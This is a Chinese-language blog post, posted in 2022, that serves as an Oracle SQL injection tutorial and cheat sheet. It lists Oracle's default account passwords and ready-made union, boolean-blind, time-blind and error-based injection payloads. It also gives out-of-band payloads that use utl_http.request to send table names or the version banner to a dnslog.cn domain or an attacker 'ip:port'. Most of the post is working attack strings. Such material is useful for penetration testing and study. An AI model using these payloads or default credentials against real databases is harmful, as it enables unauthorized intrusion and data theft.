Oracle注入攻击教程

一、核心系统表
  1. 特殊系统表:
                dual:是一个虚拟表,用来构成select的语法规则,例如:select SYS_CONTEXT('USERENV','TERMINAL') from dual;--获得主机名
 
  1. 能查询表信息的系统表:
                dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
                all_tables : 当前用户有权限的表的信息(只要对某个表有任何权限,即可在此视图中看到表的相关信息)
                user_tables: 当前用户名下的表的信息
                (关键字段:table_name)
 
  1. 能查询列信息的系统表:
                dba_tab_columns:对应 dba_tables表 包含的所有表的列信息
                all_tab_columns:对应 all_tables表 包含的所有表的列信息
                user_tab_columns:对应 user_tables表 包含的所有表的列信息
                (关键字段:table_name,column_name,data_type,data_length)
 
二、内置默认账号
用户名/密码
登录身份
说明
sys/change_on_install
SYSDBA 或 SYSOPER
不能以 NORMAL 登录,可作为默认的系统管理员
system/manager
SYSDBA 或 NORMAL
不能以 SYSOPER 登录,可作为默认的系统管理员
sysman/oem_temp
sysman
为 oms 的用户名
scott/tiger
NORMAL
普通用户
aqadm/aqadm
SYSDBA 或 NORMAL
高级队列管理员
dbsnmp/dbsnmp
SYSDBA 或 NORMAL
复制管理员
 
三、Oracle 的特点
  1. 不支持堆叠查询: 可以尝试提交多语句支持符号 “;” ,如果支持多行查询,说明是MSSQL或MySQL,不支持则是 Oracle
  2. 使用查询语句必须跟上表名,如果没有表则使用 dual 表
  3. Oracle的数据类型是强匹配的:所以在进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
  4. 没有limit语句:所以使用  where rownum=1 语句代替
  5. 有 user_tables 等其它类型数据库没有的表
  6. 当前数据库名就是当前用户名,所以  select user from dual 其实就是同时获取数据库名和用户名
  7. 可用的注释符为:单行注释(--) 和 多行注释(/**/),只有MySQL才支持#注释符
  8. oracle没有if函数,所以进行布尔盲注时一般使用decode()或者instr()函数,或者使用 case when语句
 
四、常用基础信息获取语句
  1. 数据库版本: select banner from sys.v_$version where rownum=1
  2. 当前用户:select user from dual
  3. 当前环境:select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual,其中的 'CURRENT_USER' 可换成其它信息,如以下。
        (terminal:当前会话客户对应的终端的标识符    language:语言    db_name:当前数据库名称    host:主机名称    等等)
 
五、SQL注入常用函数和语句
  1. DNSlog请求外带数据:
union select '1','2',utl_http.request((select table_name from user_tables where rownum=1)||'.o69syg.dnslog.cn'),'4','5' from dual --
  1. HTTP请求外带数据:
and utl_http.request('http://ip:port/'||(select banner from sys.v_$version where rownum=1))=1--
 
其实:utl_http.request 还可以换成 utl_inaddr.get_host_address 函数
  1. 报错注入: XMLType()、 dbms_xdb_version.checkin()、 ctxsys.drithsx.sn()、 ordsys.ord_dicom.getmappingxpath()、 dbms_utility.sqlid_to_sqlhash()
  2. 布尔盲注: substr()、decode()、 case、 ascii()、 instr()、chr()
  3. 时间盲注: DBMS_PIPE.RECEIVE_MESSAGE() 或者  decode()与高耗时SQL操作的组合(如: select count(*) from all_objects )
 
六、常规注入流程
    联合注入
  1. 判断是否有注入点
  2. 判断数据库是否为oracle
  3. 获取基本信息
  4. 判断列数
  5. 获取当前数据库表的个数: and (select count(table_name) from user_tables)>1--
  6. 获取第一个表名(以此类推):
select table_name from user_tables where rownum=1
 
select table_name from user_tables where rownum=1 and table_name<>'上一个表名' --获取第二个表名
  1. 获取第一个表的第一个字段名(以此类推)
select column_name from user_tab_columns where table_name='XXX' and rownum=1
 
select column_name from user_tab_columns where table_name='XXX' and rownum=1 and column_name<>'上一个列名' --获取第二列字段名
  1. 读取数据
    
    布尔盲注:流程基本与普通注入一致,但需要逐个获取所要信息
  1. 获取当前数据库的表数量:
and (select count(table_name) from user_tables)>1--
  1. 获取第一个表的表名长度:
and (select length(table_name) from user_tables where rownum=1)>8--
  1. 获取表的第一个ascii码的值:
and ascii(substr((select table_name from user_tables where rownum=1),0,1))>82--
  1. decode函数:
1'and 1=(select decode(substr(user,1,1),'S',(1),0) from dual) --
 
解释:substr(user,1,1)是条件,'S'是要遍历的位置,如果匹配便返回翻译值1,否则使用默认值
  1. instr函数:
1'and 1=(instr((select user from dual),'SQL')) --
 
注释:(select user from dual)是查询结果数据,instr会返回‘SQL’位置数据在,查询结果中的位置,未找到便返回0,可以通过对‘SQL’位置进行遍历和迭代,获取到数据,类似MYSQL regexp注入的方法。
    
    时间盲注:流程基本与布尔盲注一致,但需要从网页是否延时来判断是true还是false
  1. DBMS_PIPE.RECEIVE_MESSAGE()函数
1'and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1
  1. decode()函数结合耗时操作
1'and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1
        注意:除了decode()函数,还可使用 case when 或者 if 语句等进行布尔盲注
 
    报错注入:流程基本与普通注入一致,但通过以下函数引起报错从而暴露数据
  • XMLType
upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62)))
  • dbms_xdb_version.checkin()
upper(dbms_xdb_version.checkin((select user from dual)))
  • dbms_xdb_version.makeversioned()
1' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --
  • dbms_xdb_version.uncheckout()
1' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
  • ctxsys.drithsx.sn()
and 1=ctxsys.drithsx.sn(1,(select user from dual))
  • ordsys.ord_dicom.getmappingxpath()
ordsys.ord_dicom.getmappingxpath(user,user,user)
  • dbms_utility.sqlid_to_sqlhash()
dbms_utility.sqlid_to_sqlhash((select user from dual))
  • utl_inaddr.get_host_name()
1' and 1=utl_inaddr.get_host_name((select user from dual)) --
 
posted @ 2022-03-12 16:53  Dubh3  阅读(415)  评论(0编辑  收藏  举报